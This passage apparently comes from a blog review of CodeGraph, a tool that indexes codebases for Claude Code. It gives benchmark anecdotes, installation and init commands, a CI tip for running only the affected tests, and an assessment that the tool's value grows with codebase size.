A concrete example: on the VS Code codebase, answering “how does the extension host communicate with the main process” took 52 tool calls without CodeGraph and 3 with it. On a Java codebase, the agent answered the full question in a single CodeGraph call and zero file reads.

A fair note: these are self-reported, single-query benchmarks, so treat them as best-case. But the underlying idea does not depend on the exact percentage. Giving an agent a structured index instead of forcing it to explore blind is sound regardless.

Getting started

The interactive installer wires everything up:

npx @colbymchenry/codegraph

It installs CodeGraph globally, configures the MCP server in your Claude config, sets up auto-allow permissions, and adds global instructions. Then restart Claude Code and initialize a project:

cd your-project
codegraph init -i

Once a .codegraph/ directory exists, Claude Code uses the tools automatically.

A bonus that stands on its own

Even if you ignore the AI angle, one command is worth knowing: codegraph affected. It traces import dependencies transitively to find which test files are impacted by a set of changed files.

git diff --name-only HEAD | codegraph affected --stdin --quiet

Drop that in a CI script or git hook and you only run the tests that a change can actually break. That is a genuine speedup with no AI involved at all.

Is it useful?

Very, if you work in a large or unfamiliar codebase with Claude Code. The bigger and less familiar the repo, the more discovery the agent has to do, and the more CodeGraph saves you in tokens and wall-clock time.

The honest limit: on a small project, an agent can grep a 20-file repo cheaply enough that the index buys you little. The payoff scales with codebase size.

The takeaway

AI coding agents are not slow because the model is slow. They are slow because they spend most of their time figuring out where things are. CodeGraph solves that once, locally, and keeps the map current as you work. For anyone using Claude Code on a serious codebase, it is a low-effort, high-return addition.